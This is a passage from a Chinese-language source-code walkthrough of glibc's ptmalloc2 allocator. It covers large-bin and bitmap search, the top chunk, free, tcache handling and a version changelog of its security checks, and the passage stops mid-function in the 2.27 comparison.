         while (((unsigned long) (size = chunksize(victim)) < (unsigned long) (nb)))
             victim = victim->bk_nextsize;

         // 两个 chunk 一样大，用第二个 chunk ？？？
         /* Avoid removing the first entry for a size so that the skip list does not have to be rerouted.  */
         if (victim != last(bin) && chunksize_nomask(victim) == chunksize_nomask(victim->fd))
             victim = victim->fd;

         remainder_size = size - nb;
         unlink_chunk(av, victim);

         /* Exhaust */
         if (remainder_size < MINSIZE) {//剩余部分不足以形成新的 chunk，那么不做切割
             set_inuse_bit_at_offset(victim, size);
             if (av != &main_arena)
                 set_non_main_arena(victim);
         }
         /* Split */
         else {//剩余部分可以形成新的 chunk
             remainder = chunk_at_offset(victim, nb);

             // UnsortBin 最多只遍历 MAX_ITERS 次，无法保证为空
             /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here.  */
             bck = unsorted_chunks(av);
             fwd = bck->fd;
             if (__glibc_unlikely(fwd->bk != bck))
                 malloc_printerr("malloc(): corrupted unsorted chunks");
             remainder->bk = bck;//在 UnsortBin 的头节点之后插入剩余 chunk
             remainder->fd = fwd;
             bck->fd = remainder;
             fwd->bk = remainder;
             if (!in_smallbin_range(remainder_size)) {//如果不是 SmallChunk 则将 fd_next bk_next 置为 NULL
                 remainder->fd_nextsize = NULL;
                 remainder->bk_nextsize = NULL;
             }
             set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
             set_head(remainder, remainder_size | PREV_INUSE);
             set_foot(remainder, remainder_size);
         }
         check_malloced_chunk(av, victim, nb);
         void *p = chunk2mem(victim);
         alloc_perturb(p, bytes);
         return p;
     }
 }

若 nb 不在 SmallBin 范围内，则从 LargeBin 中寻找最合适的chunk（大于等于 nb 的最小 chunk）．
若最合适的 chunk 的大小大于 nb + MINSIZE 则进行分割，剩余部分放在 UnsortBin 中．之后返回切分出的 chunk 对应的指针．结束分配流程．

其他情况

1
2
3
4
5
6
7
8
9
10
11
12
13
 /*
  Search for a chunk by scanning bins, starting with next largest bin.
  This search is strictly by best-fit; i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected.

  The bitmap avoids needing to check that most blocks are nonempty.
  The particular case of skipping all bins during warm-up phases when no chunks have been returned yet is faster than it might look.
*/

 ++idx;
 bin = bin_at(av, idx);
 block = idx2block(idx);
 map = av->binmap[block];
 bit = idx2bit(idx);

看到这里，使笔者困惑的是 idx 的值是什么？回顾一下之前的代码．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 if (in_smallbin_range(nb)) {// 准确的表述为：不满足 LargeBin 分配的最小值

     //在fastbin 环节分配失败会进入此处．
     idx = smallbin_index(nb);
     bin = bin_at(av, idx);// bin 是头节点的指针

     /* 有删节 */
 }

 /*
  If this is a large request, consolidate fastbins before continuing.
  While it might look excessive to kill all fastbins before
  even seeing if there is space available, this avoids
  fragmentation problems normally associated with fastbins.
  Also, in practice, programs tend to have runs of either small or
  large requests, but less often mixtures, so consolidation is not
  invoked all that often in most programs. And the programs that
  it is called frequently in otherwise tend to fragment.
*/

 else {
     //FastBin SmallBin 中分配失败不会进入此处
     idx = largebin_index(nb);
     if (atomic_load_relaxed(&av->have_fastchunks))
         malloc_consolidate(av);
 }

可以看到：

  • 若 nb 在 SmallBin 范围内，则 idx 为 nb 在 SmallBin 中对应的下标．
  • 若 nb 在 LargeBin 范围内，则 idx 为 nb 在 LargeBin 中对应的下标．

因为当前 idx 中无法完成内存分配，那么去下一个 idx 中查找．

1
2
++idx;
bin = bin_at(av, idx);

那么 idx2block(idx) 有什么含义呢？

1
2
3
4
5
6
7
8
9
10
11
/* Conservatively use 32 bits per map word, even if on 64bit system */
#define BINMAPSHIFT 5
#define BITSPERMAP (1U << BINMAPSHIFT)
#define BINMAPSIZE (NBINS / BITSPERMAP)

#define idx2block(i) ((i) >> BINMAPSHIFT)
#define idx2bit(i) ((1U << ((i) & ((1U << BINMAPSHIFT) - 1))))

#define mark_bin(m, i) ((m)->binmap[idx2block(i)] |= idx2bit(i))
#define unmark_bin(m, i) ((m)->binmap[idx2block(i)] &= ~(idx2bit(i)))
#define get_binmap(m, i) ((m)->binmap[idx2block(i)] & idx2bit(i))

idx2block() 是为了将 idx 转换成对应的 bitmap 下标．
为什么 idx2block(i) 将 i 右移 5 位呢？注意看这段代码的英文注释，在看看 bitmap 的定义：

1
2
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

看到这里，笔者恍然大悟：

  • bitmap 是 unsigned int 类型的变量的数组．
  • unsigned int 大小为 32 bits．
  • 32 是 $2^5$
  • i 是无符号数，那么 i >> 5 等于 $\frac{i}{2^5}$ (向下取整)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
for (;;) {
    /* Skip rest of block if there are no more set bits in this block.  */
    if (bit > map || bit == 0) {//？？？
        do {
            if (++block >= BINMAPSIZE) /* out of bins */
                goto use_top;
        } while ((map = av->binmap[block]) == 0);

        bin = bin_at(av, (block << BINMAPSHIFT));
        bit = 1;
    }

    /* Advance to bin with set bit. There must be one. */
    while ((bit & map) == 0) {
        bin = next_bin(bin);
        bit <<= 1;
        assert(bit != 0);
    }

    /* Inspect the bin. It is likely to be non-empty */
    victim = last(bin);

    /*  If a false alarm (empty bin), clear the bit. */
    if (victim == bin) {
        av->binmap[block] = map &= ~bit; /* Write through */
        bin = next_bin(bin);
        bit <<= 1;
    }

    else {
        size = chunksize(victim);

        /*  We know the first chunk in this bin is big enough to use. */
        assert((unsigned long) (size) >= (unsigned long) (nb));

        remainder_size = size - nb;

        /* unlink */
        unlink_chunk(av, victim);

        /* Exhaust */
        if (remainder_size < MINSIZE) {
            set_inuse_bit_at_offset(victim, size);
            if (av != &main_arena)
                set_non_main_arena(victim);
        }

        /* Split */
        else {
            remainder = chunk_at_offset(victim, nb);

            /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here.  */
            bck = unsorted_chunks(av);
            fwd = bck->fd;
            if (__glibc_unlikely(fwd->bk != bck))
                malloc_printerr("malloc(): corrupted unsorted chunks 2");
            remainder->bk = bck;
            remainder->fd = fwd;
            bck->fd = remainder;
            fwd->bk = remainder;

            /* advertise as last remainder */
            if (in_smallbin_range(nb))
                av->last_remainder = remainder;
            if (!in_smallbin_range(remainder_size)) {
                remainder->fd_nextsize = NULL;
                remainder->bk_nextsize = NULL;
            }
            set_head(victim, nb | PREV_INUSE |
                                     (av != &main_arena ? NON_MAIN_ARENA : 0));
            set_head(remainder, remainder_size | PREV_INUSE);
            set_foot(remainder, remainder_size);
        }
        check_malloced_chunk(av, victim, nb);
        void *p = chunk2mem(victim);
        alloc_perturb(p, bytes);
        return p;
    }
}

还是相同的套路：
选定 chunk 后，检测 chunk 大小

  • 若 chunk 大于等于 nb + MINSIZE 则分割，剩余部分形成新的块，放入 UnsortBin．返回分割的 chunk 对应的指针，结束分配流程．
  • 若 chunk 小于 nb + MINSIZE 则全部作为分配的 chunk，返回对应的指针结束分配流程．

使用 Top chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
use_top:
    /*
     If large enough, split off the chunk bordering the end of memory (held in av->top). Note that this is in accord with the best-fit search rule.
     In effect, av->top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations).
     We require that av->top always exists (i.e., has size >= MINSIZE) after initialization, so if it would otherwise beexhausted by current request, it is replenished.
     (The mainreason for ensuring it exists is that we may need MINSIZE spaceto put in fenceposts in sysmalloc.)
   */

    victim = av->top;
    size = chunksize(victim);

    if (__glibc_unlikely(size > av->system_mem))
        malloc_printerr("malloc(): corrupted top size");

    if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) {
        remainder_size = size - nb;
        remainder = chunk_at_offset(victim, nb);
        av->top = remainder;
        set_head(victim, nb | PREV_INUSE |
                                 (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head(remainder, remainder_size | PREV_INUSE);

        check_malloced_chunk(av, victim, nb);
        void *p = chunk2mem(victim);
        alloc_perturb(p, bytes);
        return p;
    }

    /* When we are using atomic ops to free fast chunks we can get here for all block sizes.  */
    else if (atomic_load_relaxed(&av->have_fastchunks)) {
        malloc_consolidate(av);
        /* restore original bin index */
        if (in_smallbin_range(nb))
            idx = smallbin_index(nb);
        else
            idx = largebin_index(nb);
    }

    /* Otherwise, relay to handle system-dependent cases */
    else {
        void *p = sysmalloc(nb, av);
        if (p != NULL)
            alloc_perturb(p, bytes);
        return p;
    }

free

终于来到了 free() 的部分．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __libc_free(void *mem) {
    mstate ar_ptr;
    mchunkptr p; /* chunk corresponding to mem */

    void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
    if (__builtin_expect(hook != NULL, 0)) {
        (*hook)(mem, RETURN_ADDRESS(0));
        return;
    }

    if (mem == 0) /* free(0) has no effect */
        return;

#ifdef USE_MTAG
    /* Quickly check that the freed pointer matches the tag for the memory. This gives a useful double-free detection.  */
    *(volatile char *) mem;
#endif

    int err = errno;

    p = mem2chunk(mem);

    /* Mark the chunk as belonging to the library again.  */
    (void) TAG_REGION(chunk2rawmem(p), CHUNK_AVAILABLE_SIZE(p) - CHUNK_HDR_SZ);

    if (chunk_is_mmapped(p)) /* release mmapped memory. */
    {
        /* See if the dynamic brk/mmap threshold needs adjusting. Dumped fake mmapped chunks do not affect the threshold.  */
        if (!mp_.no_dyn_threshold && chunksize_nomask(p) > mp_.mmap_threshold && chunksize_nomask(p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK(p)) {
            mp_.mmap_threshold = chunksize(p);
            mp_.trim_threshold = 2 * mp_.mmap_threshold;
            LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold);
        }
        munmap_chunk(p);
    } else {
        MAYBE_INIT_TCACHE();

        ar_ptr = arena_for_chunk(p);
        _int_free(ar_ptr, p, 0);
    }

    __set_errno(err);
}

看到这段代码：

1
2
3
4
5
void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
if (__builtin_expect(hook != NULL, 0)) {
    (*hook)(mem, RETURN_ADDRESS(0));
    return;
}

看到这段代码，真是熟悉的流程．在 __libc_malloc() 源码中：

1
2
3
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);//使用原子操作读取 __malloc_hook 将其赋值给 hook
if (__builtin_expect(hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS(0));

是不是非常的相似啊？笔者也这样想．看看 __free_hook 的定义：

1
void weak_variable (*__free_hook)(void *__ptr, const void *) = NULL;

不太一样的地方出现了：

1
void *weak_variable (*__malloc_hook)(size_t __size, const void *) = malloc_hook_ini;

__malloc_hook 被初始化为 malloc_hook_ini，而 __free_hook 被初始化为 NULL．

1
2
if (mem == 0) /* free(0) has no effect */
    return;

NULL == 0 在大部分环境中都是为真的．也就是说 free(NULL) 是被允许的，并且不会报错．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int err = errno;

p = mem2chunk(mem);

/* Mark the chunk as belonging to the library again.  */
(void) TAG_REGION(chunk2rawmem(p), CHUNK_AVAILABLE_SIZE(p) - CHUNK_HDR_SZ);

if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
    /* See if the dynamic brk/mmap threshold needs adjusting. Dumped fake mmapped chunks do not affect the threshold.  */
    if (!mp_.no_dyn_threshold && chunksize_nomask(p) > mp_.mmap_threshold && chunksize_nomask(p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK(p)) {
        mp_.mmap_threshold = chunksize(p);
        mp_.trim_threshold = 2 * mp_.mmap_threshold;
        LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold);
    }
    munmap_chunk(p);
} else {
    MAYBE_INIT_TCACHE();

    ar_ptr = arena_for_chunk(p);
    _int_free(ar_ptr, p, 0);
}

__set_errno(err);

这段代码首先判断内存的来源．

  • 若内存通过 mmap 分配，则在一些检查后执行 munmap．
  • 若内存通过 brk 分配，则执行 _int_free()．
1
2
3
4
5
6
7
8
9
10
11
size = chunksize(p);

/* Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space.
 Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder.  */
if (__builtin_expect((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect(misaligned_chunk(p), 0))
    malloc_printerr("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT.  */
if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))
    malloc_printerr("free(): invalid size");

check_inuse_chunk(av, p);

常规的安全检查．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
    if ((unsigned long) (size) <= (unsigned long) (get_max_fast())

#if TRIM_FASTBINS
        /*
        If TRIM_FASTBINS set, don't place chunks bordering top into fastbins
        */
        && (chunk_at_offset(p, size) != av->top)
#endif
    ) {

        if (__builtin_expect(chunksize_nomask(chunk_at_offset(p, size)) <= CHUNK_HDR_SZ, 0) || __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) {
            bool fail = true;
            /* We might not have a lock at this point and concurrent modifications of system_mem might result in a false positive.
             Redo the test after getting the lock.
             */
            if (!have_lock) {
                __libc_lock_lock(av->mutex);
                fail = (chunksize_nomask(chunk_at_offset(p, size)) <= CHUNK_HDR_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem);
                __libc_lock_unlock(av->mutex);
            }

            if (fail)
                malloc_printerr("free(): invalid next size (fast)");
        }

        free_perturb(chunk2mem(p), size - CHUNK_HDR_SZ);

        atomic_store_relaxed(&av->have_fastchunks, true);
        unsigned int idx = fastbin_index(size);//size 在 FastBin 对应的 idx
        fb = &fastbin(av, idx);                //fb 是指向头指针的指针

        /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
        mchunkptr old = *fb, old2;

        if (SINGLE_THREAD_P) {//单线程
            /* Check that the top of the bin is not the record we are going to add (i.e., double free).  */
            if (__builtin_expect(old == p, 0))//安全检查
                malloc_printerr("double free or corruption (fasttop)");
            /* 在 FastBin 链表的头指针处 */
            p->fd = PROTECT_PTR(&p->fd, old);//为阻碍恶意攻击，把 &p->fd 处理后存到 old
            *fb = p;
        } else//多线程
            do {
                /* Check that the top of the bin is not the record we are going to add (i.e., double free).  */
                if (__builtin_expect(old == p, 0))
                    malloc_printerr("double free or corruption (fasttop)");
                old2 = old;
                p->fd = PROTECT_PTR(&p->fd, old);
            } while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2)) != old2);

        /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding.
         We can dereference OLD only if we have the lock, otherwise it might have already been allocated again.
         */
        if (have_lock && old != NULL && __builtin_expect(fastbin_index(chunksize(old)) != idx, 0))
            malloc_printerr("invalid fastbin entry (free)");
    }

若 chunk 在 FastBin 范围内，则在检查后将其插入对应的 FastBin 链表的头指针处．

TCACHE 与多线程环境

__libc_malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#if USE_TCACHE
    /* int_free also calls request2size, be careful to not pad twice.  */
    size_t tbytes;
    if (!checked_request2size(bytes, &tbytes)) {
        __set_errno(ENOMEM);
        return NULL;
    }
    size_t tc_idx = csize2tidx(tbytes);//把 size 转换成 tcache 的 idx

    MAYBE_INIT_TCACHE();

    DIAG_PUSH_NEEDS_COMMENT;
    if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0) {
        victim = tcache_get(tc_idx);
        return TAG_NEW_USABLE(victim);
    }
    DIAG_POP_NEEDS_COMMENT;
#endif
  • 根据 bytes 计算添加元数据后符合对齐要求的 chunk 大小 tbytes．
  • 根据 tbytes 计算相应的 tcache 下标 tc_idx．
1
2
3
4
5
6
7
8
9
10
/* Caller must ensure that we know tc_idx is valid and there's available chunks to remove.  */
static __always_inline void *tcache_get(size_t tc_idx) {
    tcache_entry *e = tcache->entries[tc_idx];
    if (__glibc_unlikely(!aligned_OK(e)))
        malloc_printerr("malloc(): unaligned tcache chunk detected");
    tcache->entries[tc_idx] = REVEAL_PTR(e->next);
    --(tcache->counts[tc_idx]);
    e->key = NULL;
    return (void *) e;
}

根据 tc_idx 定位链表头指针 tcache->entries[tc_idx]，从链表中删除第一个节点，并将其返回．

看完 tcache 相关的内容，再看看多线程相关的内容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 是多线程
arena_get(ar_ptr, bytes);// 获得线程的 arena

victim = _int_malloc(ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena before.  */
if (!victim && ar_ptr != NULL) {
    LIBC_PROBE(memory_malloc_retry, 1, bytes);
    ar_ptr = arena_get_retry(ar_ptr, bytes);
    victim = _int_malloc(ar_ptr, bytes);
}

if (ar_ptr != NULL)
    __libc_lock_unlock(ar_ptr->mutex);

victim = TAG_NEW_USABLE(victim);

assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || ar_ptr == arena_for_chunk(mem2chunk(victim)));
return victim;

多线程部分的主要逻辑是：

获取线程的一个 arena 后，并尝试在其中完成内存分配．若失败，换一块 arean 尝试进行内存分配．

进入 _int_malloc()：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#if USE_TCACHE
                /* While we're here, if we see other chunks of the same size, stash them in the tcache.  */
                size_t tc_idx = csize2tidx(nb);
                if (tcache && tc_idx < mp_.tcache_bins) {
                    mchunkptr tc_victim;

                    /* While bin not empty and tcache not full, copy chunks.  */
                    while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) {
                        if (__glibc_unlikely(misaligned_chunk(tc_victim)))
                            malloc_printerr("malloc(): unaligned fastbin chunk detected 3");
                        if (SINGLE_THREAD_P)
                            *fb = REVEAL_PTR(tc_victim->fd);
                        else {
                            REMOVE_FB(fb, pp, tc_victim);
                            if (__glibc_unlikely(tc_victim == NULL))
                                break;
                        }
                        tcache_put(tc_victim, tc_idx);
                    }
                }
#endif

注意本段代码的英文注释：这里给出了一个将 nb 对应的 FastBin 链表中剩余的 chunk 移动到 tcache 的途径．当然， tcache 同样需要受到 tcache_count 的限制，默认情况下 tcache_count 的值为 7．

1
2
3
4
5
6
7
8
9
10
11
/* Caller must ensure that we know tc_idx is valid and there's room for more chunks.  */
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
    tcache_entry *e = (tcache_entry *) chunk2mem(chunk);

    /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free.  */
    e->key = tcache;

    e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]);
    tcache->entries[tc_idx] = e;
    ++(tcache->counts[tc_idx]);
}

可以看到 tcache_put() 就是简单的链表头插入．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#if USE_TCACHE
            /* While we're here, if we see other chunks of the same size, stash them in the tcache.  */
            size_t tc_idx = csize2tidx(nb);
            if (tcache && tc_idx < mp_.tcache_bins) {
                mchunkptr tc_victim;

                /* While bin not empty and tcache not full, copy chunks over.  */
                while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin) {
                    if (tc_victim != 0) {
                        bck = tc_victim->bk;
                        set_inuse_bit_at_offset(tc_victim, nb);
                        if (av != &main_arena)
                            set_non_main_arena(tc_victim);
                        bin->bk = bck;
                        bck->fd = bin;

                        tcache_put(tc_victim, tc_idx);
                    }
                }
            }
#endif

与 FastBin 中将 chunk 移动至 tcache 的路径相似，SmallBin 也存在类似的路径．
这段代码与前段代码极其相似，产生差异的原因主要在于 FastBin 使用单向链表管理 chunk，而 SmallBin 使用双向循环链表管理 chunk．

1
2
3
4
5
6
7
8
9
#if USE_TCACHE
    INTERNAL_SIZE_T tcache_nb = 0;
    size_t tc_idx = csize2tidx(nb);
    if (tcache && tc_idx < mp_.tcache_bins)
        tcache_nb = nb;
    int return_cached = 0;

    tcache_unsorted_count = 0;
#endif

在简单的检查后，对变量进行了赋值．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
            /* Take now instead of binning if exact fit */

            if (size == nb) {
                set_inuse_bit_at_offset(victim, size);
                if (av != &main_arena)
                    set_non_main_arena(victim);
#if USE_TCACHE
                /* Fill cache first, return to user only if cache fills. We may return one of these chunks later.  */
                if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count) {
                    tcache_put(victim, tc_idx);
                    return_cached = 1;
                    continue;
                } else {
#endif
                    check_malloced_chunk(av, victim, nb);
                    void *p = chunk2mem(victim);
                    alloc_perturb(p, bytes);
                    return p;
#if USE_TCACHE
                }
#endif
            }

请注意代码中的两处英文注释，在对 UnsortBin 的检测中，若遇到合适的 chunk 将优先填充 tcache，而不是立即返回给用户．
这里存在一个将 UnsortBin 转移至 tcache 的路径．

1
2
3
4
5
6
7
#if USE_TCACHE
            /* If we've processed as many chunks as we're allowed while filling the cache, return one of the cached ones.  */
            ++tcache_unsorted_count;
            if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit) {
                return tcache_get(tc_idx);
            }
#endif
1
2
3
4
5
6
#if USE_TCACHE
        /* If all the small chunks we found ended up cached, return one now.  */
        if (return_cached) {
            return tcache_get(tc_idx);
        }
#endif

这两段代码是如此的相似，都先检查了 return_cached （第一段还检查了其他的条件），满足则从 tcache 中取出 nb 对应的 chunk，并将其返回．

free

在 _int_free() 部分：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#if USE_TCACHE
    {
        size_t tc_idx = csize2tidx(size);
        if (tcache != NULL && tc_idx < mp_.tcache_bins) {
            /* Check to see if it's already in the tcache.  */
            tcache_entry *e = (tcache_entry *) chunk2mem(p);

            /* This test succeeds on double free.
             However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting.
             */
            if (__glibc_unlikely(e->key == tcache)) {
                tcache_entry *tmp;
                size_t cnt = 0;
                LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
                for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR(tmp->next), ++cnt) {
                    if (cnt >= mp_.tcache_count)
                        malloc_printerr("free(): too many chunks detected in tcache");
                    if (__glibc_unlikely(!aligned_OK(tmp)))
                        malloc_printerr("free(): unaligned chunk detected in tcache 2");
                    if (tmp == e)
                        malloc_printerr("free(): double free detected in tcache 2");
                    /* If we get here, it was a coincidence.  We've wasted a few cycles, but don't abort.  */
                }
            }

            if (tcache->counts[tc_idx] < mp_.tcache_count) {
                tcache_put(p, tc_idx);
                return;
            }
        }
    }
#endif

再看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
graph TD
    BEGIN-->__libc_malloc[\__libc_mallloc\]
    __libc_malloc-->A
    A[分配 x bytes 内存] --> B[计算所需 chunk 大小 tbytes];
    B --> C[计算 tcache 下标 tc_idx];
    C --> D[tcache 对应链表非空];
    D -- True --> tcache_get[\tcache_get\]
    tcache_get --> E[返回指针];
    E --> END;
    D -- False --> F{单线程?};
    F -- True --> G1[\_int_malloc\]
    F -- False --> H[arena_get 为 arena 加锁]
    H --> G2[\_int_malloc\]
    G2 --> L{分配成功?}
    L -- True -->I[解锁 arena]
    L -- False -->M[更换 arean]
    M --> G3[\_int_malloc\]
    G3 -->I
    I --> E
    G1 -->E;

整体流程

-->

_int_malloc

  • Init 计算需要分配的 chunk 大小
  • sysmalloc：若无合适的 arena 则调用 sysmalloc 通过 mmap 分配
  • Fast Bin：相同 chunk 大小、LIFO 顺序，取出头节点
    • tcache：若在 FastBin 中分配成功，将同 Fast Bin 中的 chunk 头插入 tcache
  • Small Bin：取出尾节点
    • tcache：若在 SmallBin 中分配成功，将同 Small Bin 中的 chunk 头插入 tcache
  • Unsorted Bin：
    • 特殊规则：对于 Small Bin 范围内的请求，当 Unsorted Bin 仅剩唯一 chunk 且该 chunk 来源于 last remainder，进行分配（能切则切）
    • 查找大小相同的 chunk，头插入 tcache，直到 tcache 满
    • 大小不同的 chunk 按照大小插入 Large Bin（按照大小，相同大小则将当前 chunk 插入在第 2 个） 或者 Small Bin（头插）
    • tcache 满了后则从 Unsorted Bin 中拿出相同大小 chunk 返回
  • 在 Unsorted Bin 中若缓存过 chunk 则返回
  • Large Bin：选择满足大小的 chunk 中最小的，由链表头开始遍历，若有相同大小的 chunk 则用第 2 个，能拆则拆
  • 根据 bitmap 在更大的 Bin 中搜索，
  • 从 Top chunk 分割

_int_free

  • tcache：未满则放入 tcache
  • Fast Bin 头插
  • 不是 mmap 分配则尝试合并
  • mmap 分配则 ummap
    -

ptmalloc2 changelog

2.23

2.24

2.25

New

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Same, except also perform an argument and result check.  First, we check
   that the padding done by request2size didn't result in an integer
   overflow.  Then we check (using REQUEST_OUT_OF_RANGE) that the resulting
   size isn't so large that a later alignment would lead to another integer
   overflow.  */
#define checked_request2size(req, sz) \
({				    \
  (sz) = request2size (req);	    \
  if (((sz) < (req))		    \
      || REQUEST_OUT_OF_RANGE (sz)) \
    {				    \
      __set_errno (ENOMEM);	    \
      return 0;			    \
    }				    \
})

Old

1
2
3
4
5
6
7
8
/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                             \
  if (REQUEST_OUT_OF_RANGE (req)) {					      \
      __set_errno (ENOMEM);						      \
      return 0;								      \
    }									      \
  (sz) = request2size (req);

2.26

  • 加入 tcache

2.27

  • tcache Double Free 检测
    New
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    /* We overlay this structure on the user-data portion of a chunk when
       the chunk is stored in the per-thread cache.  */
    typedef struct tcache_entry
    {
      struct tcache_entry *next;
      /* This field exists to detect double frees.  */
      struct tcache_perthread_struct *key;
    } tcache_entry;
    /* 有删节 */
    /* Caller must ensure that we know tc_idx is valid and there's room
       for more chunks.  */
    static __always_inline void
    tcache_put (mchunkptr chunk, size_t tc_idx)
    {
      tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      assert (tc_idx < TCACHE_MAX_BINS);

      /* Mark this chunk as "in the tcache" so the test in _int_free will
         detect a double free.  */
      e->key = tcache;

      e->next = tcache->entries[tc_idx];
      tcache->entries[tc_idx] = e;
      ++(tcache->counts[tc_idx]);
    }
    /* 有删节 */
    static void
    _int_free (mstate av, mchunkptr p, int have_lock)
    {
    /* 有删节 */
      size = chunksize (p);

      /* Little security check which won't hurt performance: the
         allocator never wrapps around at the end of the address space.
         Therefore we can exclude some size values which might appear
         here by accident or by "design" from some intruder.  */
      if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
          || __builtin_expect (misaligned_chunk (p), 0))
        malloc_printerr ("free(): invalid pointer");
      /* We know that each chunk is at least MINSIZE bytes in size or a
         multiple of MALLOC_ALIGNMENT.  */
      if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
        malloc_printerr ("free(): invalid size");

      check_inuse_chunk(av, p);

    #if USE_TCACHE
      {
        size_t tc_idx = csize2tidx (size);
        if (tcache != NULL && tc_idx < mp_.tcache_bins)
          {
    	/* Check to see if it's already in the tcache.  */
    	tcache_entry *e = (tcache_entry *) chunk2mem (p);

    	/* This test succeeds on double free.  However, we don't 100%
    	   trust it (it also matches random payload data at a 1 in
    	   2^<size_t> chance), so verify it's not an unlikely
    	   coincidence before aborting.  */
    	if (__glibc_unlikely (e->key == tcache))
    	  {
    	    tcache_entry *tmp;
    	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    	    for (tmp = tcache->entries[tc_idx];
    		 tmp;
    		 tmp = tmp->next)
    	      if (tmp == e)
    		malloc_printerr ("free(): double free detected in tcache 2");
    	    /* If we get here, it was a coincidence.  We've wasted a
    	       few cycles, but don't abort.  */
    	  }

    	if (tcache->counts[tc_idx] < mp_.tcache_count)
    	  {
    	    tcache_put (p, tc_idx);
    	    return;
    	  }
          }
      }
    #endif
    /* 有删节 */
    }

Old

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;
/* 有删节 */
/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
